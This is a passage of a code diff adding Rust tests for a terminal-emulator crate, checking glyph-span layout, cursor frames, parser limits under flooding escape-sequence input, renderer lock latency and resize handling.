||||||
|
.iter()
|
||||||
|
.find(|row| row.line == 0)
|
||||||
|
.expect("the fed row must be present")
|
||||||
|
.spans;
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
spans.iter().all(|span| span.counts_are_consistent()),
|
||||||
|
"an oversized run must not wrap its count: {spans:?}"
|
||||||
|
);
|
||||||
|
let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
|
||||||
|
let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
|
||||||
|
assert_eq!(
|
||||||
|
counts,
|
||||||
|
vec![u16::MAX, (columns - u16::MAX as usize) as u16],
|
||||||
|
"the run must end at the last representable count"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
columns_at,
|
||||||
|
vec![0, u16::MAX as usize],
|
||||||
|
"the second span starts where the first left off"
|
||||||
|
);
|
||||||
|
let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
|
||||||
|
assert_eq!(chars, columns, "no cell may be dropped by the split");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
|
||||||
|
/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
|
||||||
|
/// how the text looks, so it must not reach the style key: if it did, the last
|
||||||
|
/// column of every wrapped row would split off into a span of its own -- an
|
||||||
|
/// extra wire record per wrapped line, and span boundaries that move when the
|
||||||
|
/// window is resized.
|
||||||
|
///
|
||||||
|
/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
|
||||||
|
/// mask; this fixture is the proof that was missing from the source read.
|
||||||
|
#[test]
|
||||||
|
fn wrapping_does_not_split_a_uniform_run() {
|
||||||
|
let size = Size {
|
||||||
|
columns: 5,
|
||||||
|
screen_lines: 3,
|
||||||
|
scrollback: 100,
|
||||||
|
};
|
||||||
|
let (term, _actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
let shared = SharedTerminal::new(term);
|
||||||
|
// Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
|
||||||
|
// last of them, the sixth lands on row 1.
|
||||||
|
shared.feed_fully(b"abcdef");
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.render(&mut encoder);
|
||||||
|
|
||||||
|
let first = frame
|
||||||
|
.rows
|
||||||
|
.iter()
|
||||||
|
.find(|row| row.line == 0)
|
||||||
|
.expect("wrapped row must be present");
|
||||||
|
let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
|
||||||
|
assert_eq!(
|
||||||
|
texts,
|
||||||
|
vec!["abcde"],
|
||||||
|
"a wrapped row of one style is one span; WRAPLINE must not break it"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A wide glyph at the last usable column wraps to the next row rather than
|
||||||
|
/// straddling the edge. The contract must hold on the wrapped row too.
|
||||||
|
#[test]
|
||||||
|
fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
|
||||||
|
let size = Size {
|
||||||
|
columns: 5,
|
||||||
|
screen_lines: 3,
|
||||||
|
scrollback: 100,
|
||||||
|
};
|
||||||
|
let (term, _actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
let shared = SharedTerminal::new(term);
|
||||||
|
// Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
|
||||||
|
// fit and moves to the next row.
|
||||||
|
shared.feed_fully("abcd\u{4E00}".as_bytes());
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
let frame = shared.render(&mut encoder);
|
||||||
|
|
||||||
|
let second = frame
|
||||||
|
.rows
|
||||||
|
.iter()
|
||||||
|
.find(|row| row.line == 1)
|
||||||
|
.expect("wrapped row must be present");
|
||||||
|
assert_eq!(
|
||||||
|
placements(&second.spans),
|
||||||
|
vec![(0, "\u{4E00}".into())],
|
||||||
|
"a wrapped wide glyph starts at column 0 of the next row"
|
||||||
|
);
|
||||||
|
}
|
||||||
41
desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs
Normal file
41
desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
use buzz_terminal::damage::Encoder;
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{SharedTerminal, Size, Terminal};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn space_over_blank_cell_publishes_cursor_only_frame() {
|
||||||
|
let (terminal, _actions) = Terminal::new(
|
||||||
|
Size {
|
||||||
|
columns: 8,
|
||||||
|
screen_lines: 2,
|
||||||
|
scrollback: 10,
|
||||||
|
},
|
||||||
|
Fences::ALL,
|
||||||
|
);
|
||||||
|
let terminal = SharedTerminal::new(terminal);
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
|
||||||
|
let initial = terminal.render(&mut encoder);
|
||||||
|
assert!(!initial.is_empty());
|
||||||
|
assert_eq!(initial.cursor.column, 0);
|
||||||
|
|
||||||
|
terminal.feed_fully(b" ");
|
||||||
|
let after_space = terminal.render(&mut encoder);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
after_space.rows.is_empty(),
|
||||||
|
"a blank cell overwritten with a space must be row-deduplicated"
|
||||||
|
);
|
||||||
|
assert_eq!(after_space.cursor.column, 1);
|
||||||
|
assert!(after_space.cursor_changed);
|
||||||
|
assert!(
|
||||||
|
!after_space.is_empty(),
|
||||||
|
"cursor movement must make the frame publishable"
|
||||||
|
);
|
||||||
|
|
||||||
|
let idle = terminal.render(&mut encoder);
|
||||||
|
assert!(
|
||||||
|
idle.is_empty(),
|
||||||
|
"an unchanged cursor must not create traffic"
|
||||||
|
);
|
||||||
|
}
|
||||||
169
desktop/src-tauri/crates/buzz-terminal/tests/fences.rs
Normal file
169
desktop/src-tauri/crates/buzz-terminal/tests/fences.rs
Normal file
@@ -0,0 +1,169 @@
|
|||||||
|
//! Mutation-sensitive byte fixtures for the two parser fences.
|
||||||
|
//!
|
||||||
|
//! These use the shipping `Terminal::feed` path. Arms that could be masked by
|
||||||
|
//! the other fence disable it explicitly; the switches are runtime values, not
|
||||||
|
//! cargo features, so the default test binary always contains every arm.
|
||||||
|
|
||||||
|
use alacritty_terminal::grid::Dimensions;
|
||||||
|
use alacritty_terminal::index::{Column, Line, Point};
|
||||||
|
use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP};
|
||||||
|
use buzz_terminal::{Size, Terminal};
|
||||||
|
|
||||||
|
const CHUNK: usize = 8192;
|
||||||
|
const G1_BYTES: usize = 2 << 20;
|
||||||
|
const G2_FRAMES: usize = 40;
|
||||||
|
const G2_FRAME_BYTES: usize = 1_900 * 1024;
|
||||||
|
|
||||||
|
fn size() -> Size {
|
||||||
|
Size {
|
||||||
|
columns: 120,
|
||||||
|
screen_lines: 40,
|
||||||
|
scrollback: 2000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) {
|
||||||
|
term.feed_fully(b"\x1b[?2026h");
|
||||||
|
for chunk in payload.chunks(CHUNK) {
|
||||||
|
term.feed_fully(chunk);
|
||||||
|
}
|
||||||
|
if close {
|
||||||
|
term.feed_fully(b"\x1b[?2026l");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn repeated(pattern: &[u8], bytes: usize) -> Vec<u8> {
|
||||||
|
pattern.iter().copied().cycle().take(bytes).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn count_markers(term: &Terminal, markers: usize) -> usize {
|
||||||
|
let grid = term.term().grid();
|
||||||
|
let mut text = String::new();
|
||||||
|
let top = -(grid.history_size() as i32);
|
||||||
|
for line in top..term.size().screen_lines as i32 {
|
||||||
|
for column in 0..term.size().columns {
|
||||||
|
text.push(grid[Point::new(Line(line), Column(column))].c);
|
||||||
|
}
|
||||||
|
text.push('\n');
|
||||||
|
}
|
||||||
|
(0..markers)
|
||||||
|
.filter(|m| text.contains(&format!("MK{m:03}")))
|
||||||
|
.count()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn legitimate_frame(markers: usize, bytes: usize) -> Vec<u8> {
|
||||||
|
let mut payload = Vec::with_capacity(bytes);
|
||||||
|
for marker in 0..markers {
|
||||||
|
payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes());
|
||||||
|
let target = bytes * (marker + 1) / markers;
|
||||||
|
while payload.len() < target {
|
||||||
|
payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m");
|
||||||
|
}
|
||||||
|
payload.extend_from_slice(b"\r\n");
|
||||||
|
}
|
||||||
|
payload.truncate(bytes);
|
||||||
|
payload
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G1: every hostile content shape must remain below the deterministic byte
|
||||||
|
/// bound, and the same shape with F1 deleted must cross it. Keeping both arms
|
||||||
|
/// adjacent prevents a simplified fixture from becoming vacuously cheap.
|
||||||
|
#[test]
|
||||||
|
fn g1_sync_abort_bounds_all_hostile_shapes() {
|
||||||
|
let shapes: [(&str, &[u8]); 5] = [
|
||||||
|
("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"),
|
||||||
|
("ascii", b"buzz substrate output\r\n"),
|
||||||
|
("emoji", "🐝🚀✨\r\n".as_bytes()),
|
||||||
|
("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()),
|
||||||
|
("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"),
|
||||||
|
];
|
||||||
|
|
||||||
|
for (name, pattern) in shapes {
|
||||||
|
let payload = repeated(pattern, G1_BYTES);
|
||||||
|
let (mut fenced, _) = Terminal::new(size(), Fences::ALL);
|
||||||
|
feed_synchronized(&mut fenced, &payload, false);
|
||||||
|
let fenced_stats = fenced.stats();
|
||||||
|
assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired");
|
||||||
|
assert!(
|
||||||
|
fenced_stats.max_release <= 2 * SYNC_CAP,
|
||||||
|
"{name}: fenced release {} exceeds 128 KiB",
|
||||||
|
fenced_stats.max_release
|
||||||
|
);
|
||||||
|
|
||||||
|
let (mut unfenced, _) = Terminal::new(size(), Fences::NONE);
|
||||||
|
feed_synchronized(&mut unfenced, &payload, false);
|
||||||
|
let unfenced_stats = unfenced.stats();
|
||||||
|
assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1");
|
||||||
|
assert!(
|
||||||
|
unfenced_stats.max_release > 2 * SYNC_CAP,
|
||||||
|
"{name}: unfenced release {} stayed inside the gate; fixture is vacuous",
|
||||||
|
unfenced_stats.max_release
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2
|
||||||
|
/// deletion under the combined production configuration.
|
||||||
|
#[test]
|
||||||
|
fn g2_hostile_unsynchronized_osc_resets_parser() {
|
||||||
|
let (mut term, _) = Terminal::new(size(), Fences::ALL);
|
||||||
|
term.feed_fully(b"\x1b]0;");
|
||||||
|
for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) {
|
||||||
|
term.feed_fully(chunk);
|
||||||
|
}
|
||||||
|
assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its
|
||||||
|
/// small abort releases cannot mask an implementation that omits ESU flushes.
|
||||||
|
#[test]
|
||||||
|
fn g2_each_synchronized_flush_is_attributed() {
|
||||||
|
let payload = repeated(b"A", G2_FRAME_BYTES);
|
||||||
|
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
|
||||||
|
for _ in 0..G2_FRAMES {
|
||||||
|
feed_synchronized(&mut term, &payload, true);
|
||||||
|
}
|
||||||
|
let stats = term.stats();
|
||||||
|
assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm");
|
||||||
|
assert_eq!(
|
||||||
|
stats.osc_resets, G2_FRAMES as u64,
|
||||||
|
"expected one reset for each atomic synchronized release"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64,
|
||||||
|
"flush bytes were omitted from attribution: {} charged",
|
||||||
|
stats.charged_bytes
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame.
|
||||||
|
/// F1 is disabled; raw-input counting would reset mid-frame and lose markers.
|
||||||
|
#[test]
|
||||||
|
fn g2_legitimate_large_frame_preserves_all_markers() {
|
||||||
|
let markers = 200;
|
||||||
|
let payload = legitimate_frame(markers, 1_500 * 1024);
|
||||||
|
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
|
||||||
|
feed_synchronized(&mut term, &payload, true);
|
||||||
|
assert_eq!(
|
||||||
|
count_markers(&term, markers),
|
||||||
|
markers,
|
||||||
|
"legitimate frame lost markers"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Legitimacy control: neither fence alone nor the production combination may
|
||||||
|
/// corrupt a normal synchronized frame.
|
||||||
|
#[test]
|
||||||
|
fn g2_legitimate_frame_survives_each_fence_configuration() {
|
||||||
|
let markers = 200;
|
||||||
|
let payload = legitimate_frame(markers, 128 * 1024);
|
||||||
|
for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] {
|
||||||
|
let (mut term, _) = Terminal::new(size(), fences);
|
||||||
|
feed_synchronized(&mut term, &payload, true);
|
||||||
|
assert_eq!(
|
||||||
|
count_markers(&term, markers),
|
||||||
|
markers,
|
||||||
|
"{fences:?} lost markers"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
156
desktop/src-tauri/crates/buzz-terminal/tests/latency.rs
Normal file
156
desktop/src-tauri/crates/buzz-terminal/tests/latency.rs
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
//! G3: the renderer's wait for the terminal lock, under flood.
|
||||||
|
//!
|
||||||
|
//! The plan originally required "reader hold < 16.7 ms". That requirement was
|
||||||
|
//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while
|
||||||
|
//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the
|
||||||
|
//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock
|
||||||
|
//! time and the p50 hold never sees them. What a human feels is the wait, so
|
||||||
|
//! that is what is gated here.
|
||||||
|
//!
|
||||||
|
//! F1 is the fence being tested. It is a memory bound *and* a latency fence:
|
||||||
|
//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's
|
||||||
|
//! wait falls with it.
|
||||||
|
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::thread;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use buzz_terminal::damage::Encoder;
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{SharedTerminal, Size, Terminal};
|
||||||
|
|
||||||
|
/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is
|
||||||
|
/// a dropped frame regardless of how good the distribution looks.
|
||||||
|
///
|
||||||
|
/// Unlike the p95 below, this bound **cannot be protected by headroom**, and
|
||||||
|
/// that asymmetry is why this test is `#[ignore]`d and run only in release on
|
||||||
|
/// an idle host. A quantile discards its worst samples by construction, so it
|
||||||
|
/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples
|
||||||
|
/// is a single observation, and any one scheduler preemption exceeds it. There
|
||||||
|
/// is no budget that makes the max arm robust to contention -- the tail it
|
||||||
|
/// catches belongs to the scheduler, not to this code.
|
||||||
|
///
|
||||||
|
/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate
|
||||||
|
/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient
|
||||||
|
/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at
|
||||||
|
/// 38150 us.
|
||||||
|
///
|
||||||
|
/// So the repair for a flake here is to fix the host, never to raise this
|
||||||
|
/// number. Raising it is the one change that silently removes the only assert
|
||||||
|
/// that catches the user-visible failure: a hitch is a max-event, and a
|
||||||
|
/// p95-only gate passes a run containing a 38 ms stall.
|
||||||
|
const FRAME_MICROS: u64 = 16_667;
|
||||||
|
|
||||||
|
/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the
|
||||||
|
/// margin that lets *this* arm tolerate a loaded machine without becoming a
|
||||||
|
/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`.
|
||||||
|
const P95_MICROS: u64 = 4_000;
|
||||||
|
|
||||||
|
/// Frames sampled per arm. Counted rather than timed: sample count under a
|
||||||
|
/// wall-clock budget is a function of how slow the arm is, so a duration-based
|
||||||
|
/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the
|
||||||
|
/// tail being measured lives. Counting frames makes both arms the same
|
||||||
|
/// experiment.
|
||||||
|
const FRAMES: u32 = 200;
|
||||||
|
|
||||||
|
/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads.
|
||||||
|
///
|
||||||
|
/// The payload's *shape* is the load-bearing part, and it cost me a wrong
|
||||||
|
/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an
|
||||||
|
/// update that was never closed. It floods just as many bytes per second, and
|
||||||
|
/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us
|
||||||
|
/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a
|
||||||
|
/// 2 MiB release is a short lock hold.
|
||||||
|
///
|
||||||
|
/// What makes a release expensive is work per byte -- SGR state changes and
|
||||||
|
/// `\r\n` line feeds that push rows into scrollback. With that payload the same
|
||||||
|
/// experiment separates by 129x. So this gate is sensitive to input shape and
|
||||||
|
/// not merely to input rate, which is why the control below is not optional.
|
||||||
|
fn flood(shared: &SharedTerminal, stop: &AtomicBool) {
|
||||||
|
let mut payload: Vec<u8> = b"\x1b[?2026h".to_vec();
|
||||||
|
while payload.len() < (2 << 20) {
|
||||||
|
payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n");
|
||||||
|
}
|
||||||
|
payload.extend_from_slice(b"\x1b[?2026l");
|
||||||
|
while !stop.load(Ordering::Relaxed) {
|
||||||
|
for chunk in payload.chunks(8192) {
|
||||||
|
if stop.load(Ordering::Relaxed) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
shared.feed_fully(chunk);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Render at 60 Hz for the duration of the flood, and report the renderer
|
||||||
|
/// plane's acquisition latencies.
|
||||||
|
fn measure(fences: Fences) -> buzz_terminal::AcquireStats {
|
||||||
|
let size = Size {
|
||||||
|
columns: 200,
|
||||||
|
screen_lines: 50,
|
||||||
|
scrollback: 10_000,
|
||||||
|
};
|
||||||
|
let (term, _actions) = Terminal::new(size, fences);
|
||||||
|
let shared = Arc::new(SharedTerminal::new(term));
|
||||||
|
let stop = Arc::new(AtomicBool::new(false));
|
||||||
|
|
||||||
|
let writer = {
|
||||||
|
let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop));
|
||||||
|
thread::spawn(move || flood(&shared, &stop))
|
||||||
|
};
|
||||||
|
|
||||||
|
// Don't measure the ramp: let the flood reach steady state, then clear.
|
||||||
|
thread::sleep(Duration::from_millis(200));
|
||||||
|
shared.renderer_acquire().reset();
|
||||||
|
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
for _ in 0..FRAMES {
|
||||||
|
shared.render(&mut encoder);
|
||||||
|
thread::sleep(Duration::from_micros(FRAME_MICROS));
|
||||||
|
}
|
||||||
|
let stats = shared.renderer_acquire().snapshot();
|
||||||
|
|
||||||
|
stop.store(true, Ordering::Relaxed);
|
||||||
|
writer.join().expect("flood thread panicked");
|
||||||
|
|
||||||
|
assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples");
|
||||||
|
stats
|
||||||
|
}
|
||||||
|
|
||||||
|
/// G3: with F1 on, the renderer's wait stays inside a frame -- and the
|
||||||
|
/// unfenced control shows the fence is what puts it there.
|
||||||
|
///
|
||||||
|
/// Both arms live in one `#[test]` on purpose. As separate tests they run
|
||||||
|
/// concurrently by default, each with its own flood thread, so each arm's
|
||||||
|
/// measurement includes the other arm's CPU load and the control's ratio
|
||||||
|
/// becomes a race between two floods rather than a statement about F1.
|
||||||
|
#[test]
|
||||||
|
#[ignore = "native performance gate; run release-mode on a known-idle host"]
|
||||||
|
fn g3_renderer_acquire_stays_within_frame_budget() {
|
||||||
|
let fenced = measure(Fences::ALL);
|
||||||
|
let p95 = fenced.percentile_micros(0.95);
|
||||||
|
assert!(
|
||||||
|
p95 <= P95_MICROS,
|
||||||
|
"renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})",
|
||||||
|
fenced.max_micros,
|
||||||
|
fenced.acquisitions
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
fenced.max_micros <= FRAME_MICROS,
|
||||||
|
"renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})",
|
||||||
|
fenced.max_micros,
|
||||||
|
fenced.acquisitions
|
||||||
|
);
|
||||||
|
|
||||||
|
// The control. Without it this gate could pass because the fixture never
|
||||||
|
// contended -- green over an experiment that did not run.
|
||||||
|
let unfenced = measure(Fences::OSC_ONLY);
|
||||||
|
assert!(
|
||||||
|
unfenced.max_micros > fenced.max_micros.max(1) * 4,
|
||||||
|
"unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \
|
||||||
|
renderer latency down, and this gate is measuring something else",
|
||||||
|
unfenced.max_micros,
|
||||||
|
fenced.max_micros
|
||||||
|
);
|
||||||
|
}
|
||||||
196
desktop/src-tauri/crates/buzz-terminal/tests/resize.rs
Normal file
196
desktop/src-tauri/crates/buzz-terminal/tests/resize.rs
Normal file
@@ -0,0 +1,196 @@
|
|||||||
|
//! The resize seam: what a consumer is allowed to rely on across a reflow.
|
||||||
|
//!
|
||||||
|
//! The dedup encoder caches a hash per line. A resize reflows content into
|
||||||
|
//! rows of a different width, so those cached hashes describe a grid that no
|
||||||
|
//! longer exists -- if a resize did not force a full frame, dedup could
|
||||||
|
//! suppress a row whose content genuinely changed and leave the renderer
|
||||||
|
//! showing reflowed-away text.
|
||||||
|
//!
|
||||||
|
//! It does force one: upstream's `TermDamageState::resize` sets `full`
|
||||||
|
//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that
|
||||||
|
//! behaviour to the seam, because it is upstream's invariant and not ours.
|
||||||
|
|
||||||
|
use buzz_terminal::damage::Encoder;
|
||||||
|
use buzz_terminal::fences::Fences;
|
||||||
|
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
|
||||||
|
use std::sync::mpsc::Receiver;
|
||||||
|
|
||||||
|
/// The receiver is returned rather than dropped: dropping it disconnects the
|
||||||
|
/// channel, and every subsequent listener send silently fails. These fixtures
|
||||||
|
/// don't assert on actions, but a fixture that quietly disables a code path is
|
||||||
|
/// how a future assertion gets written against a dead one.
|
||||||
|
fn shared(size: Size) -> (SharedTerminal, Receiver<Action>) {
|
||||||
|
let (term, actions) = Terminal::new(size, Fences::ALL);
|
||||||
|
(SharedTerminal::new(term), actions)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn size(columns: usize) -> Size {
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines: 10,
|
||||||
|
scrollback: 1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn grid(columns: usize, screen_lines: usize) -> Size {
|
||||||
|
Size {
|
||||||
|
columns,
|
||||||
|
screen_lines,
|
||||||
|
scrollback: 1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A resize invalidates dedup and republishes the whole grid at the new width.
|
||||||
|
#[test]
|
||||||
|
fn resize_forces_a_full_frame_at_the_new_width() {
|
||||||
|
let (shared, _actions) = shared(size(40));
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n");
|
||||||
|
|
||||||
|
let first = shared.render(&mut encoder);
|
||||||
|
assert!(first.full, "first frame after a fresh Term must be full");
|
||||||
|
assert_eq!(first.viewport.columns, 40);
|
||||||
|
assert_eq!(first.viewport.generation, 0);
|
||||||
|
|
||||||
|
// Nothing changed: dedup suppresses everything. Without this the next
|
||||||
|
// assertion could pass simply because every frame is full.
|
||||||
|
let idle = shared.render(&mut encoder);
|
||||||
|
assert!(!idle.full, "an unchanged grid must not republish");
|
||||||
|
assert!(
|
||||||
|
idle.rows.is_empty(),
|
||||||
|
"dedup let {} unchanged rows through",
|
||||||
|
idle.rows.len()
|
||||||
|
);
|
||||||
|
|
||||||
|
let applied = shared.resize(size(20));
|
||||||
|
assert_eq!(
|
||||||
|
applied.columns, 20,
|
||||||
|
"resize did not report the grid it applied"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
applied.generation, 1,
|
||||||
|
"generation must advance across a resize"
|
||||||
|
);
|
||||||
|
|
||||||
|
let after = shared.render(&mut encoder);
|
||||||
|
assert!(
|
||||||
|
after.full,
|
||||||
|
"a resize must invalidate the renderer's cached rows"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
after.viewport, applied,
|
||||||
|
"frame's viewport disagrees with the one resize reported applying"
|
||||||
|
);
|
||||||
|
assert_eq!(after.rows.len(), 10, "full frame must carry every line");
|
||||||
|
let row0: String = after.rows[0]
|
||||||
|
.spans
|
||||||
|
.iter()
|
||||||
|
.map(|s| s.text.as_str())
|
||||||
|
.collect();
|
||||||
|
assert_eq!(row0.chars().count(), 20, "row emitted at the old width");
|
||||||
|
assert!(
|
||||||
|
row0.starts_with("hello world"),
|
||||||
|
"content lost across reflow: {row0:?}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A no-op resize is not a resize: it must not burn a generation, or every
|
||||||
|
/// `ResizeObserver` tick would look like a discontinuity to the consumer.
|
||||||
|
#[test]
|
||||||
|
fn identical_resize_is_inert() {
|
||||||
|
let (shared, _actions) = shared(size(40));
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
shared.feed_fully(b"hello");
|
||||||
|
shared.render(&mut encoder);
|
||||||
|
|
||||||
|
let applied = shared.resize(size(40));
|
||||||
|
assert_eq!(
|
||||||
|
applied.generation, 0,
|
||||||
|
"a same-size resize advanced the generation"
|
||||||
|
);
|
||||||
|
|
||||||
|
let after = shared.render(&mut encoder);
|
||||||
|
assert_eq!(after.viewport, applied);
|
||||||
|
assert!(
|
||||||
|
!after.full,
|
||||||
|
"a same-size resize forced a needless full repaint"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A **full frame must carry every row**, including rows whose content is
|
||||||
|
/// byte-identical to what sat at that index before the resize.
|
||||||
|
///
|
||||||
|
/// This is the arm that catches a dedup cache surviving a full frame, and the
|
||||||
|
/// width-changing fixture above does *not* catch it: changing the width changes
|
||||||
|
/// every row's cell contents, so the hashes differ and the rows are emitted for
|
||||||
|
/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows
|
||||||
|
/// hash exactly as before -- and a stale cache suppresses them right after the
|
||||||
|
/// consumer was told to discard what it had. The result is a renderer holding
|
||||||
|
/// nothing where content should be.
|
||||||
|
///
|
||||||
|
/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0
|
||||||
|
/// to row 1, so correctness here is not merely about frame bookkeeping.
|
||||||
|
#[test]
|
||||||
|
fn full_frame_after_height_resize_republishes_unchanged_rows() {
|
||||||
|
let (shared, _actions) = shared(grid(40, 10));
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line");
|
||||||
|
let first = shared.render(&mut encoder);
|
||||||
|
assert!(first.full);
|
||||||
|
assert_eq!(first.rows.len(), 10);
|
||||||
|
|
||||||
|
shared.resize(grid(40, 20));
|
||||||
|
let after = shared.render(&mut encoder);
|
||||||
|
assert!(
|
||||||
|
after.full,
|
||||||
|
"a resize must invalidate the renderer's cached rows"
|
||||||
|
);
|
||||||
|
assert_eq!(after.viewport.screen_lines, 20);
|
||||||
|
assert_eq!(
|
||||||
|
after.rows.len(),
|
||||||
|
20,
|
||||||
|
"full frame carried {} of 20 rows -- dedup suppressed rows the consumer \
|
||||||
|
was simultaneously told to discard, leaving them blank",
|
||||||
|
after.rows.len()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A frame is stamped with the grid it was **captured on**, and a later resize
|
||||||
|
/// does not retroactively re-label it.
|
||||||
|
///
|
||||||
|
/// This is the cross-transport race in the integration lane: frame delivery and
|
||||||
|
/// the resize call are separate paths, so a generation-N frame can arrive after
|
||||||
|
/// generation N+1 has been applied. Rejecting it requires the stamp to be
|
||||||
|
/// capture-time truth.
|
||||||
|
///
|
||||||
|
/// Note what is and is not proven here. That an owned `Frame` cannot mutate is
|
||||||
|
/// guaranteed by the language, so asserting it against a copy of itself would
|
||||||
|
/// be tautological. What this asserts is that `capture()` stamps the viewport
|
||||||
|
/// as it was **at capture**, against explicit expected values -- a `capture()`
|
||||||
|
/// that read the viewport a moment later, or a `Frame` that carried a handle
|
||||||
|
/// back to the terminal, would fail here.
|
||||||
|
#[test]
|
||||||
|
fn a_frame_is_stamped_with_the_grid_it_was_captured_on() {
|
||||||
|
let (shared, _actions) = shared(grid(40, 10));
|
||||||
|
let mut encoder = Encoder::new();
|
||||||
|
shared.feed_fully(b"\x1b[2J\x1b[Hhello world");
|
||||||
|
|
||||||
|
let in_flight = shared.render(&mut encoder);
|
||||||
|
assert_eq!(in_flight.viewport.generation, 0);
|
